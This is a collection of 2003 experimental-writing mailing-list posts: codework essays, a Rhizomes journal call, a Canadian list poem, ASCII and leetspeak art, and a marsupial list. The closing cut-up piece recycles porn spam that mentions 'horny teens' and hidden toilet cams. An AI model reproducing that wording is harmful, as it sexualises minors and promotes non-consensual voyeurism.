Godelian-platonism; if anything it relies on the \nbreakdown of the ideal, pointing out the meaning-component of computation, \nprogram, protocol, even the strictest formalisms.\n[12] Early on Whitehead pointed out that 2+2 = 4, but only in a certain \nformal sense; in fact, the equation implies an operation or unifying \nprocess; within the 4, the components are combined, their history lost. \nStrictly, '2+2' and '4' are equivalent; within the symbolic, they differ -- \nfor that matter, in terms of thermodynamics as well. This domain is \nexpanded by codework, which endlessly interferes.\n[13] The danger of codework is in its delimitation; it tends to repeat; the \nworks tend towards considerable length; automatic generation can flow \nforever. Sometimes it appears as maw-machine emissions -- text in, modified \ntext/partial code out. Sometimes it extends language into new uncharted \nterritories. Sometimes it references the labour and/or processing of \nlanguage. Sometimes it privileges the written over the spoken, or portends \nthe spoken within a convolution of stuttering and close-to-impossible \nphonemic combinations. Sometimes it appears as a warning against the \nall-too-easy assimilation of linguistic competency.\n[14] Sometimes it breaks free, relates to the subjectivity behind its \nproduction, the subjectivity inherent in every presentation of symbol-symbolic.\n2:37pm up 18 min, 1 user, load average: 0.00, 0.00, 0.00 USER TTY FROM \nLOGIN {AT}  IDLE JCPU PCPU WHAT root tty1 - 2:19pm 0.00s 0.44s 0.06s w\n\n\n- pro][rating][.lucid.txt\n-\n-\n\nhttp://www.hotkey.net.au/~netwurker\nhttp://www.livejournal.com/users/netwurker/\n_\n_cr[xxx]oss ova.ring.\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: RHZOMES 6: CODEWORK / SURVEILLANCE (fwd)\nDate: Wed, 2 Jul 2003 13:28:59 -0400 (EDT)\n\n\n\n\n\nRHIZHOMES: CULTURAL STUDIES IN EMERGING KNOWLEDGE\n\nwww.rhizomes.net\n\nIssue 6: Codework/Surveillance guest-edited by Louis Armand, with\ncontributions by McKenzie Wark, Alan Sondheim, Zoe Beloff, Darren Tofts,\nOndrej Galuska, MTC Cronin, Alan Roughley, Philip Hammial, David Seiter,\nTom Mackey, Damien Judge Rollison.\n\n\n\n\"Codework/Surveillance\" attempts to work the seam between critical\nparadigmatics & social discourse, between codework as invention, aesthetic\npractice, activism, sabotage & its recuperation within and by institutions\nof knowledge & techno-social surveillance (& vice-versa).\n\n\n\n\"Codework/Surveillance\" attempts to go beyond the usual pseudo-antagonism\nof theory/praxis by investigating how the contest over such terms (and\nother terms which are supposedly defined by them) is itself a mirage\neffect of the oppositional assumptions of institution vs.\nanti-institutional practition.\n\n\n\n\"Codework/Surveillance\" designates a relation of terms & of social\npostulates which are & remain biomorphic, parac(r)itical and dialectically\nirreducible. As \"criticism\" is placed under increasing pressure to account\nfor itself in terms of action within the social/technological sphere, the\nartist & \"public intellectual\" may be regarded more in terms of \"codework\"\nthan of traditional critical or aesthetic practices--in the sense that\n\"codework\" implies not only a working with the language and means of\ncontemporary technological conditions (& of \"taking responsibility\" or\n\"coming to terms\" with these), but also a tactical counter-coding which\nexploits the margins of error within control apparatuses exemplified by\nsuch mechanisms as \"surveillance.\"\n\n\n\nThe linkage of \"surveillance\" to \"codework\" here stands for the way in\nwhich infrastructures of power always operate on a basis of hybridity &\nstructural discontinuities which leave them open to \"uses\" other than\nthose sought or intended by the various institutions of \"authority.\" That\nauthority, too, is inherently linked to codework, to the authenticity &\nauthorship of certain codes or codices (of the law), points not only to\nexisting critiques of \"writing\" but to the institution of critique itself\n& the enormous resources of codification which are today applied in the\nname of learning &/or knowledge.\n\n\n\nAs in Orwell's 1984, it remains necessary to consider seriously the fact\nthat \"authority,\" in order to be what it is, deploys its resources in a\nhugely asymmetrical way \"against\" the \"individual\"--that sabotage (or\nterrorism) is not exclusively a means used by individuals (or cells of\nindividuals) against the symbols & institutions of \"authority.\" Codework\nin this sense is not the masturbatory fantasy of the programmer or hacker,\nbut above all the game of power calling its own bluff & still trying to\nreduce all the bad odds to zero.\n\n________________________________________________________________\n\n\nLOUIS ARMAND\n\nUAA Philosophy Faculty, Charles University\n\nNam. J. Palacha 2, 116 38 Praha 1, Czech Republic\n\nwww.geocities.com/louis_armand\n\n\n---------------------------------\nDo you Yahoo!?\nSBC Yahoo! DSL - Now only $29.95 per month!\n\n\nDate:         Fri, 27 Jun 2003 12:12:06 -0700\nFrom: MWP <mpalmer {AT} JPS.NET>\nSubject: TEMPLATES.FOR.A.CHOREOGRAPHY\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nTEMPLATES.FOR.A.CHOREOGRAPHY\n\nWith  {AT} mpersand, the ASCII terpsichore!\n\n\nhttp://www.aroseisaroseisarose.com/Al04x.html\n\n\n\nDate: Thu, 3 Jul 2003 22:45:44 -0700\nFrom: \"[]\" <kanztanz {AT} YAHOO.COM>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: a subjective definition\n\nJuly 1 was Canada day here.\n\n\n...water, land, space, that i can still see the stars\nat night from my yard, aurora borealis, pristine, snow\non Christmas Eve, snow in July, possibly snow in\nAugust, but rain year round in Victoria, chinooks,\nC.P.P., referenda, rain forest, the Princess Patricias\n- God bless'm, John Candy - God rest'm, k.d. lang,\nShania Twain, Theresa Stratas, Celine Dion, Wayne\nGretzky, Banting, Best, insulin, Bethune, Intrepid,\nNorthrop Frye, Norad, ice-wine, excuse me, universal\nstandard time, Robertson Davies, Bobby Orr, Gordie\nHowe, Guy LaFleur, Rick Mercer, Mike Meyers, Killer\nKowalski,  Peter Gzowski, Juliette, Luba, Robert\nGoulet, Ross Porter, not at all, the best polka bands,\nthe Kubasonics, the D-drifters, Nylons, garlic sausage\nrings, diamond mines, Grossman's on Spadina, Donwchild\nBlues Band,  knishes, borscht,  perogies!,  kobassa,\npizza pops, ROM, Susan Jacks, Poppy family, fields of\nsugar beet and wheat, rape, oats, barley, poutaine!\nmontreal-style smoked meat! you're welcome,\nTrans-Canada highway, two major coasts, bilingual\nschool programs,  the great White North, MacKenzie\nbrothers, brewskis, Husky gas stations,\nmulti-culturalism, Leonard Cohen, Bryan Adams, William\nShatner, Betty Kennedy, Margaret Atwood, Margaret\nLawrence, Joni Mitchell, Neil Young, BTO, Guess Who,\nDan Ackroyd, Pamela Anderson, Christopher Plummer,\nShannon Tweed, Air Farce, Lighthouse, Trooper, Alice\nMunro,  basketball, hockey, hockey night in Canada,\nRideau Canal, the X-men,  Captain Canuck, President's\nChoice, Yvonne DeCarlo, In Flanders Field,\nMassey-Ferguson tractors, Raymond Massey, Raymond\nBurr,  Mary Pickford, Seagrams, Bronfmans, Reichmans,\nAspers, Labatt's, Molson, Canadian Club, but not\nCanada Dry, Conrad Black,  Beaverbrook, Thompson,\nCunard Lines, Richardson and Searle, Donald\nSutherland, Alexander Graham Bell, Lilith Fair and\nwhat's her name McLaughlin, SCTV, the divine Cathrine\nO'Hara, Eugene Levi,  Robbie Robertson, Ronnie\nHawkins, Keanu Reeves, Bare Naked Ladies, bif Naked,\nlacrosse, beavers, beavertails, hard-cross balls,\nhard-cross buns, Leslie Neilsen, Jack McLelland, Tim\nHorton, timbits, a double-double, Bobby Curtola,\nChurchill, polar bears, Winnie the real bear - not the\npooh,  marmot, muskrat, loon, the north pole,\nP.N.E.,  C.N.E., Red River Ex. purple gas, Calgary\nFlames, Petro-Canada,  Dan Akroyd, summer kitchens,\nroot cellers, screech, hooch, bootleggers, Rich\nLittle, George F. Walker, Jason Priestly, Knowlton\nNash, The Tea Party, trebleCharger, Robert LePage,\nMichel Trembley,  Blue Bombers, Nickleback, Just for\nLaughs, Blues Festivals, Fringe Festivals, Jazz\nfestivals, Festival of Light, Winter Carnival,  guy\nwot designed \"garbo\" for Umbra whose name escapes me,\nbanana slugs, stink cabbages, La Maudite, blackflies,\nno see-ums,  fish-flies, Les Voyageurs, Westjet,\nSaskatoon berries, choke-cherries,  Zed not Zee,\nscones, Bravo! chruch teas and bazaars, G.I.T. Lotta\nHitchmanova, Glen Gould, John Ralston Saul, Greg\nMoore, Gabrielle Roy, Adrienne Clarkson, Jacques\nVillenue, Marshall Macluhan, David Suzuki, Bruno\nGerussi, Jean Chretian, June Callwood, Farley Mowat,\nMaureen Forrester, Micheal J.Fox, Michael Ondaatje,\nRoyal Mounted Police, Rohan Mistry, David Foster,\nDaniel Langlois, LaLaLa Human Steps, Attila Lucas,\nRiopelle, Jack Shadbolt, Robert Service, Susquatch,\nCirque de Soliel, The Hart Brothers, Jim Carrey, Anne\nof Green Gables, Nancy Green, Lorne Greene, Jalna,\nQuebec City,  Louis Riel, Metis, The Golden Boy,\nFront Page Challenge, Robert McNeill, Tommy Hunter,\nRomeo Dallaire, Gordon Sinclair, Inuit art,  cottages,\narts and crafts, CN and CP Rail, The Last Spike, all\nthe provincial legislative buildings, Terry Fox,\nHudson's Bay - the bay, the posts, and Hudson Bay the\nblanket and the store, the Forks, St.Lawrence Seaway,\nFraser River, Columbia River, Red River, Bay of Fundy,\nToronto the Good, Montreal, Vancouver, Cape Breton,\nVancouver Island, the keystone province, Klondike,\nPeggy's Cove, Flin-Flon, Canadian Tire money, snow\nshoes, lacrosse,  Stradford Festival, Laura Secord,\nDurham Wheat, real winter, real weather, lot's of good\nclean water, vinegar on chips, McCain's french fries,\nsmoked goldeye, spring salmon, pink salmon,  smoked\nsalmon, salmon berries, trout, grizzlies, coyote,\nhunting, fishing, camping, can-con, can-lit, Douglas\nCoupland, Douglas fir, cedar, maple, birch, pine,\nbush, bark, cougar, Buffy Saint Marie, Paul Anka, Atom\nEgoyan, snow mobiles, the Yukon,  hoodoos, skiddoos,\nOscar Peterson, Sable Island,  Ben Heffner, Elvis\nStoyko, Mary Walsh, Karen Kain, Karsh, Stompin Tom\nConners, The Maple Leaf Gardens, syrup, Chateau\nLaurier, Fort Garry Hotel, The Palisar, Royal York,\nthe Petroleum and Granite Club, curling, Buchardt\nGardens, Assiniboine Downs, Mosport raceway, Native\nDancer, Josef Skvorecky, Whistler, The Empress,\nStanfield underwear, Stanley Cup, Eaton's, the Peace\nTower, the half-hour difference in the maritimes, Bay\nStreet, Peggy's Cove, Cabbage Town,  Dave Thomas, and\nhis brother Ian,  universal healthcare, geographic\nprofiling, roof, colours, flavours, favours, a prairie\nthunderstorm, a westcoast downpour, drought,\ngrasshoppers, Confederation, high tides at Long Beach,\nThe Swinging Shepard Blues, mucklucks, great beer,\nGrande Prarie, Grande Rapids, Grand Beach, Wreck\nBeach, beaver, fur pelt, fur coats, trappers, Stanley\nPark, Lion's Gate Bridge, the Rockies,  Whister, Sea\nto Sky highway, Pierre Berton, prairie dogs,\nfoot-longs, Salibury nips,  the raven and\nthunderbird,   NDP, the Friendly Giant, Kids in the\nHall, Blackfoot, Crow, Iroquois, Mohawk, Salish,\nHaida, Squamish, Innuit, Sto:lo, all the first\nnations, waves of immigrants, China Bar, Linda\nEvangelista, Nellie McLung, last stop on the\nunderground railway, Moosehead beer, potatoes,\nsunflowers, Spitz, the mighty Red, the mighty Bow, the\nmighty St.Lawrence, spring thaw the thing, and Spring\nThaw the show,  the Gatineaus, Bridal Lace Falls,\nLaurentians, Foothills, Cascades, Yoho, Banff,\nAlgonquin, the National Parks system, the Great Lakes,\nMuskoka, provinces, the little lakes, the land of 100O\nsome odd lakes, Niagara Falls, Niagara-on-the-Lake,\nhydro-power, Pre-Cambrian Sheild, beg your pardon,\nore, tundra, the CBC TV and radio 1 and 2, toque,\ncurling, micro-breweries, pubs, liquor boards, Toller\nCranston, Orpheum,  Ottawa in  Spring, slush,\nslushies,  fuddle-duddle, wind-chill factor, Windsor\nin the summer, heat, 401 at rush hour,  Joey\nSmallwood, the  canoe, the moose, the Bluenose, Red\nRose tea, pardon me, Simple Plan, Blue Rodeo, Calgary\nStampede, Stampeders band and team,  CN tower, after\nyou, the trailer park boys, Kapuskasing, Medicine Hat,\nthe wheat board, Winnipeg style cream cheese and rye\nbread, McGill University, Kakabekka Falls, eh, the\nbeaches once again and the lakes all of them, floods,\nfloodways,  St.Andrews by the Sea, IMAX, Holly Cole,\nDiana Krall, Ross Porter, David Cronenberg, Norman\nJewison, Mordecai Richler, Rocket Richard, the zipper,\nAlannah Myles,  Group of Seven, Klik, Todd McFarlane,\nno, please YOU take the last one, Spider Robinson,\nWilliam Gibson, the Yukon, Emily Carr, Hank Snow,\nbpNichol, John McCrae, Celia Franca,\nRoyal Winnipeg Ballet, the National Ballet School,\nyou're welcome, #1 kd per capita consumer in the\nuniverse,  couer de bois, petit pois, petit fours, two\nlanguages on every can, bottle, box, bag, tag,\nbirchbark, Smarties, Corel, Don Cherry, carol ships,\nCarol Pope, Carol Taylor, aspartame, Slade, Lester B.\nPearson, and Lester B. Pearson, not the airport but\nthe college, Rochdale, Margaret Trudeau and Pierre,\nTrivial Pursuit, Yorkville, wheat fed meat,\ndraft-dodgers, good rye whiskey, real beer, Blood\nSweat & Tears, good cigarettes in hard packs,\nThanksgiving in October, Long John Baldry, after you,\nMayne Island, Salt Spring Island, PEI, Jacques\nCartier, John Cabot, the brides, the blackrobes,\nGeneral Wolfe, wolves, Steppenwolf, lovely day, eh,\nThe Pas, and Piapot, Sharon,Lois & Bram, Raffi, Mr.\nDress-up and Casey,  Fred Penner, The Red Green Show,\nsnowshoes, the Canada Arm, Canada Post, National Post,\nCanada Goose, gooseberries, snowbirds,  Canadian\nPeacekeeping,  Alanis Morrisette, mosaic, Don Messer's\nJubilee, Rita McNeil, Acadians, Quebecois, Quebec\ncity, Roots, roots, routes, rues, bloulevards,\nGranville Island, all the Newfie fiddlers and\nfishermen, Newfie jokes, longshoremen on both coasts,\nfarmers, miners, slag-heaps, Sudbury, Jack Webster,\nRalf Mair, Gale Garnett, The Beachcombers,  buffalo,\nbison, buffalo coats, beaver hats, buckskins, the\nvanishing cod, tugboats, barges, fishing boats, the\nEdmund Fitzgerald, canneries, candy factories, steel\nmills, ranches, Hy's Steakhouse,  Ashley MacIssac,\nMennonites and Hutterites, Dukkabors, the loonie and\nthe twoonie, Don Harron, Tommy Douglas, Diefenbaker,\nUIC, The Speaker of the House, Hume Cronyn, the\nclarion at the Peace tower, The Globe and Mail, Club\nMonaco, Alfred Sung, gun control, gay wedlock,\ncanadian bacon, back bacon, Mad Dog Vachon, Vachon\nbakery, Mac's milk, the brain-drain, the NFB, Red\nRiver cereal, Ann Murray, Gordon Lightfoot, the\nHomecoming melody, Folkfests, folk festivals, just\nfolks, Ukranian weddings on the praries, Greenpeace,\nGraham Greene,  Malcom Lowry, treehuggers and tree\nloggers, stand-offs, activists, conservatives,\npacifists, nihilists, supremists, socialists,\ngeneralists, specialists, list-makers, Niagara Falls,\nThe Thistle Shamrock Rose Entwined, Loblaw's,\nVegerville and the egg there, Edmondchuck, Drumheller,\ndinosaurs,  two solitudes, Ian and Sylvia, Four Strong\nWinds, Bill Reid, Portage and Main, Lloyd Robertson,\nstop/arrete\nPeter Mansbridge  > > And take a breath\n\n\n Maury Chaykin, Chong, from cheech and, Chief Dan\nGeorge, Glenn Ford, Brendan Frazer, Phil Hartman,\nHowie Mandel, Matthew Perry, Rick Moranis, Michael\nSarrazin, Jay Silverheels, Alan Thicke, Genevive\nBujold, Kim Cantrell, Colleen Dewhurst, Marie\nDressler, Margot Kidder, Kate Nelligan, Sarah Polley,\nJennifer and Meg Tilly, Fay Wray, Helen Shaver, Norma\nShearer and her brother, Kate Reid, Dorothy Stratton,\nAlexis Smith, Alex Trebeck, Art LInkletter, Monty\nHall, Doug Henning, Edward Dmytryk, Authur Hiller,\nClaude Jutra, Ivan Reitman, James Cameron, Louis B.\nMayer, Lorne Michael, April Wine, Bruce Cockburn,\nCrash Test Dummies, Glenn Gould, Hart Corey, Jeff\nHealy, Marc Garneau, Jon Kimura Parker, MacGarrigle\nsisters, Guy Lombardo, Chantal Krevasiuk, Nelly\nFurtado, Rush, Paul Schaeffer, Jane Siberry, Deanna\nDurbin, Tragically Hip, Gino Vanelli, Stephan Leacock,\n Mort Sahl, Martin Short,  Mack Sennet, Wayne and\nShuster, David Steinberg, Saul Bellow, W. Kinsella,\nW.O. Mitchell, Robert Bateman, Michael Snow, Peter\nJennings, Morley Schaffer, Dionne Quintuplets, Norman\nMacLaren, Bat Masterson and\n\n\n\n\n\n\n\n\n\n\n\n__________________________________\nDo you Yahoo!?\nSBC Yahoo! DSL - Now only $29.95 per month!\nhttp://sbc.yahoo.com\n\n\n\nFrom: pascale gustin <gustin.pascale {AT} free.fr>\nTo: _arc.hive_ {AT} lm.va.com.au, 7-11 {AT} mail.ljudmila.org\nSubject: .ase  pR.i.\nDate: Mon, 30 Jun 2003 21:02:38 +0200\n\n\n\ns.t.y.l.e.d.e.f.a.u.l.t.\n\n\n\n                   0.0 /\n                   1.00/\n                      0  .4\n                   0.6  6, 0.\n                   0.  58, 0.5\n        PRELIGHT   0.  66, 0.69,\n        SELECTED/    0.58, 0.59, 0\n        INSENSI/ I VE   0.66, 0.69,\n     bas\\ NORM/  AL      1.00, 1.00, 1.\n              /\n     base  pR.i     f.l.I.G.H.T.    1.00, 0.00, 0.0\n     base  .in.    S.E.N.S.I.T.I.V.E.   0.66, 0.69, 0.7\n     tex     t.    I.N.S.E.N.S.I.T.I.V.E.   0.66, 0.69, 0.77\n     fo       n.t.\n     e.        n.g.i.n.e.\n     /\n    /        o.l.l.b.a.r.m.a.r.k.s.  F.ALS.E.\n        .c.r.o.l.l.b.u.t.t.      s.   FA L.  e.\n           r.e.c.t.s.c.r.o.l.\n\n\n\nw.i.d.g.e.t . s.t.y.l.e . d.e.f.a.u.l.t.\n\n\n\n-- \npasc {AT} csaq\n\n-r-W-x-R-W-X-R- x\nautobuild/wheel\n---------------[18608128 - s-ile-nses]\n                                  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nDate: Fri, 4 Jul 2003 13:25:26 -0700\nFrom: phaneronoemikon <solipsis {AT} HEVANET.COM>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: red belly\n\n\n\nred belliiiiiiii onhuh onhuhuhhuuhaaon\nred belliiiiiiii onhuh onhuhuhhuuhaaon\nred belliiiiiiii onhuh onhuhuhhuuhaaon\nred belliiiiiiii onhuh onhuhuhhuuhaaon\n\nbi pi pi bi pipi bipipi\nbi pi pi bibi pipi bipipibi pipi bipipi\nbi pi pi bi bi pipi bipipi\nbi pi pi bibi pipi bipipibi pipi bipipi\nbi pipi bipipibi pipi bipipi\n\n\n\nDate: Sat, 21 Jun 2003 08:40:23 +0200\nFrom: Ana Buigues <abuigues {AT} WANADOO.ES>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: clarification\n\n\n\nit's a laponian hat.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nCaps\nLock\n\n\n\nDate: Fri, 27 Jun 2003 23:21:40 +0200\nTo: a place for discussion and improvement of things <7-11 {AT} mail.ljudmila.org>\nFrom: \"+   lo_y.  +\" <loy {AT} myrealbox.com>\nSubject: Re:  This is the subject of the text\n\nAt 11:25 24/06/03 -0700, Kamen Nedev dixit:\n>This is the title of the text\n\n[ objektified ]\n\nT45# 5# e41 25+#e #10e10i1 .2 e41 e1re. T45# #10e10i1\n4t# 25c1 o.+s#. T45# 5# t #5r o.+s #10e10i1. T45#, .0\ne41 .e41+ 4t0s, 5# t e10 o.+s #10e10i1. T45# 5# t0\n181c10 o.+s #10e10i1 10s503 o5e4 t 2n88 #e./. T45#\n1534e110 o.+s #10e10i1, .0 e41 .e41+ 4t0s, 10s# o5e4 t\n2n88 #e./ hne t8#. 4t# eo. i.99t#. T45# e10 o.+s\n#10e10i1 s.1#0'e 10s 50 t 2n88 #e./  T45# 1534e o.+s\n#10e10i1 s.1#0'e 4tc1 t0 ts61ie5c1. T45# .e41+ 1534e\no.+s #10e10i1 4t# t 8.c18g ts61ie5c1. T45# #10e10i1\n4t# 1r/+1##1s e41 s1#5+1 e. h1 o+5ee10 50 P+1#10e\nP1+21ie. T45# .e41+ .01 5# h1503 o+5ee10 50 P+1#10e\nC.0e50n.n#. T45# .01 ot# -n5i78g o+5ee10 50 Pt#e\nS59/81. T45# .01 o588 h1 o+5ee10 #.91e591 #..0 50\nFnen+1 S59/81. T45# #10e10i1 4t# t 950.+ 95#/188503,\nhne s.1#0'e 70.o 5e. T45# #10e10i1, .0 e41 .e41+ 4t0s,\n4t# /1+21ie #/188503, hne 8ti7# e41 #182-1#e119 e.\nt//+1i5te1 5e. T45# #10e10i1 n0s1+#et0s# 5e#182 e. h1\n#182- 1c5s10e. T45# .e41+ #10e10i1 #119# /1+21ie8g\ni81t+, hne e41 tne4.+ 4t# o+5ee10 .e41+ /.##5h81\n8tg1+# .2 91t0503 50e. 5e o45i4 it0 .08g h1 s1ig/41+1s\ne4+.n34 t 8te1+t8, 4g/1+-e1rent8 2+t91 .2 e4.n34e.\nT45# 5# t e+n1 #10e10i1. T45# #10e10i1, .0 e41 .e41+\n4t0s, 5# 2t8#1. T45# #10e10i1 i8t59# e4te e41 /+1c5.n#\n#10e10i1 5# tient88g e+n1, t0s e4te e41 c1+ti5eg .2\ne41 .01 h12.+1 #4.n8s0'e h1 et710 2.+ 3+t0e1s. T45#\n#10e10i1 5# 70.o0 e. h1 t e+n1 .01, hne s11/ 50#5s1 5e\n70.o# 5e'# 2t8#1. T45# #10e10i1 i8t59# e. i.0et50 t\n45348g-.+5350t8 #ete1910e. T45# .e41+ #10e10i1 5#\ntient88g t /8t35t+5#9 .2 e41 /+1c5.n# .01, hne 5e'#\nh110 9t05/n8te1s #. 9ni4 g.n i.n8s0'e e188. T45#\n#10e10i1 5# t0 .+5350t8, hne 85c1# n0s1+ e41 /1+9t010e\n50#1in+5eg .2 h1503 t +5/-.22 2+.9 #.91o41+1 18#1.\nT45# #10e10i1, .0 e41 .e41+ 4t0s, i8t59# e4te 0.e5.0#\n#ni4 t# \".+5350t85eg\", \"tne4.+#45/\", \"/8t35t+5#9\",\n1ei., t+1 h1503 3+.##8g 95#n0s1+#e..s, hne 8ti7# e41\nt+3n910e# e. s1210s 5e# it#1. T45# #10e10i1 4t# t88\ne41 t+3n910e# t3t50#e 50e1881ient8 /+./1+eg o45i4 e41\n/+1c5.n# .01 011s#, hne e41 i.9/t0g o45i4 4.8s# e41\n+534e# e. 5e o.0'e 81e 5e #/1t7. T45# 5# e41 8t#e\n#10e10i1 50 e41 e1re, t0s i.91# e. #tg #.91e4503 8571\n\"e.n34 #45e\".\n\n\n\n\nT45# 5# e41 0t91 .2 e41 tne4.+ .2 e41 e1re, t0s\nn0s1+01te4 5# e41 ste1 5e ot# o+5ee10.\n\n>\n\n------------------------------------------------------------\n--------------lo--------------------------------------------\n                       -\n-----------------------y------------------------------------\n------------------------------------------------------------\n-------------rnd.PTRz:\nhttp://computerfinearts.com/collection/lo_y/030404\nhttp://lo-y.diaryland.com/\nhttp://www.google.com/search?q=lo_y\n------------------------------------------------------------\n------------------------------------------------------------\n\n\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____|\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00 > # \\ /\n/ /____| | | \\ / / /____| | | # > # \\ / / /____| | | \\ / / /____| | | # >\n> > Thank you for participating in 7-11 MAILING LIST > SUBSCRIBER\nSATISFACTION SURVEY. > > > > >\n###################################################### >\n#1.7.100(today=\"7-11.00 071101010 07110101 0711.00100# > # # > # _____ _ _\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00\n071101010 07110101 0711.00100# > ########### \nhttp://mail.ljudmila.org/mailman/listinfo/7-11\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / \n/ /____|################################################################## \n>## ############      ########## # ### ### ##      ###### >\n####  ######  #### #### ######  ##############  ###### >\n# ####  ##### #### ########## ######  ###   ####### >\n> \n> \n\n\n\nDate: Thu, 3 Jul 2003 13:34:48 -0700\nFrom: phaneronoemikon <solipsis {AT} HEVANET.COM>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: Re: LUTE-BOOK-MOTHER\n\nTITLE: 4 'another (%C-m'ote') has come into existence'\n_\n\n\n4\n\n 'another (%C-m'ote') has come into existence'\n4\n 'another (%C-m'ote') has come into existence'\n\n&anotheranotheranother\n\n&ranother ranother\nranother\nranother ranother\n\n&ranother ranother\nranother\nranother ranother\n\n&ranother ranother\nranother\nranother ranother\n\n {AT} (%C-m'ote')Run array. loop1 // endloop\n\narray;\n\n[Kultarr\nMulgara\nKowari\nThylacine\nAgileAntechinus\nFawnAntechinus\nYellow-footedAntechinus\nAthertonAntechinus\nCinnamon Antechinus\nSwamp Antechinus\nBrown Antechinus\nDusky Antechinus\nNingbingPseudantechinus\nCarpentarianPseudantechinus\nWoolleys'Pseudantechinus\nFat-tailedPseudantechinus\nSouthernDibbler\nNorthernDibbler\nLittleRedKaluta\nWesternQuoll\nNorthernQuoll\nSpotted-tailedQuoll\nEasternQuoll\nWongaiNingaui\nPilbaraNingaui\nSouthernNingaui\nRed-tailedPhascogale\nBrush-tailedPhascogale\nGiles'Planigale\nLong-tailedPlanigale\nCommonPlanigale\nNarrow-nosedPlanigale\nTasmanianDevil\nKangarooIslandDunnart\nChestnutDunnart\nKakaduDunnart\nButlers'Dunnart\nFat-tailedDunnart\nLittleLong-TailedDunnart\nJuliaCreekDunnart\nNoCommonName\nGilbert'sDunnart\nWhite-tailedDunnart\nGreyBelliedDunnart\nHairy-footedDunnart\nWhite-footedDunnart\nLong-tailedDunnart\nStripe-facedDunnart\nCommonDunnart\nOoldeaDunnart\nSandhillDunnart\nRed-cheekedDunnart\nLesserHairy-footedDunnart\nNumbat\nPig-footedBandicoot\nRufousSpinyBandicoot\nIsoodonarnhemensis\nGoldenBandicoot\nNorthernBrownBandicoot\nSouthernBrownBandicoot\nWesternBarredBandicoot\nDesertBandicoot\nEasternBarredBandicoot\nLong-nosedBandicoot\nBilby\nLesserBilby\nMarsupialMole\nNorthernHairy-nosedWombat\nSouthernHairy-nosedWombat\nCommonWombat\nKoala\nRufousBettong\nTasmanianBettong\nBurrowingBettong\nBrush-tailedBettong\nTropicalBettong\nDesertRat-kangaroo\nMuskyRat-kangaroo\nLong-footedPotoroo\nBroad-facedPotoroo\nLong-nosedPotoroo\nBennett'sTree-kangaroo\nLumholtzi'sTree-kangaroo\nSpectacledHare-wallaby\nRufousHare-wallaby\nEasternHare-wallaby\nCentralHare-wallaby\nBandedHare-wallaby\nSwampWallaby\nAntilopineWallaroo\nBlackWallaroo\nEuro\nAgileWallaby\nBlack-stripedWallaby\nDamaWallaby\nToolacheWallaby\nWesternBrushWallaby\nParmaWallaby\nWhiptailWallaby\nRed-neckedWallaby\nRedKangaroo\nWesternGreyKangaroo\nEasternGreyKangaroo\nBridledNailtailWallaby\nCrescentNailtailWallaby\nNorthernNailtailWallaby\nAlliedRock-wallaby\nShort-earedRock-Wallaby\nWarabi\nCapeYorkRock-Wallaby\nNarbalek\nGodman'sRock-Wallaby\nHerberts'Rock-Wallaby\nUnadornedRock-Wallaby\nBlack-footedRock-Wallaby\nMareebaRock-Wallaby\nBrush-tailedRock-Wallaby\nProserpineRock-Wallaby\nRothschild'sRock-wallaby\nYellow-footedRock-wallaby\nQuokka\nTasmanianPademelon\nRed-leggedPademelon\nRed-neckedPademelon\nCommonCuscus\nSouthernCuscus\nNorthernBrushtailPossum\nMountainBrushtailPossum\nBrush-tailPossum\nScaly-tailedPossum\nStripedPossum\nLeadbeater'sPossum\nLemuroidRingtailPossum\nRockRingtailPossum\nHerbertRiverRing-tailedPossum\nWesternRing-tailedPossum\nCommonRing-tailedPossum\nGreenRingtailPossum\nDaintreeRiverRing-tailedPossum\nGreaterGlider\nYellow-belliedGlider\nSugarGlider\nMahoganyGlider\nSquirrelGlider\nFeathertailGlider\nMountainPigmy-possum\nLong-tailedPigmy-possum\nWesternPigmy-possum\nLittlePigmy-possum\nEasternPigmy-possum\nHoneyPossum]\n\n;:://\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: 2 skilling courant\nDate: Tue, 1 Jul 2003 00:25:18 -0400 (EDT)\n\n\n\n\n2 skilling courant\n\n\nFemale ejaculation? ejaculation? Yes! Yes! Spectacular, Spectacular, horny\nhorny teens teens with with dripping dripping wet wet Female pussies,\nuntil jerking they themselves explode until with they hot explode wet hot\ngushing! girl jerking gushing! themselves gushing public orgasms,\nurination, public hidden urination, toilet hidden cams. toilet New cams.\nmovies New daily! movies gushing daily! orgasms, FEMALE FINEST!\nEJACULATION Make AT your IT'S balls FINEST! and Make penis your larger\nballs and and FEMALE penis EJACULATION larger AT get more satisfaction.\n\n33014 2 skilling courant, 33015 2 skilling courant. 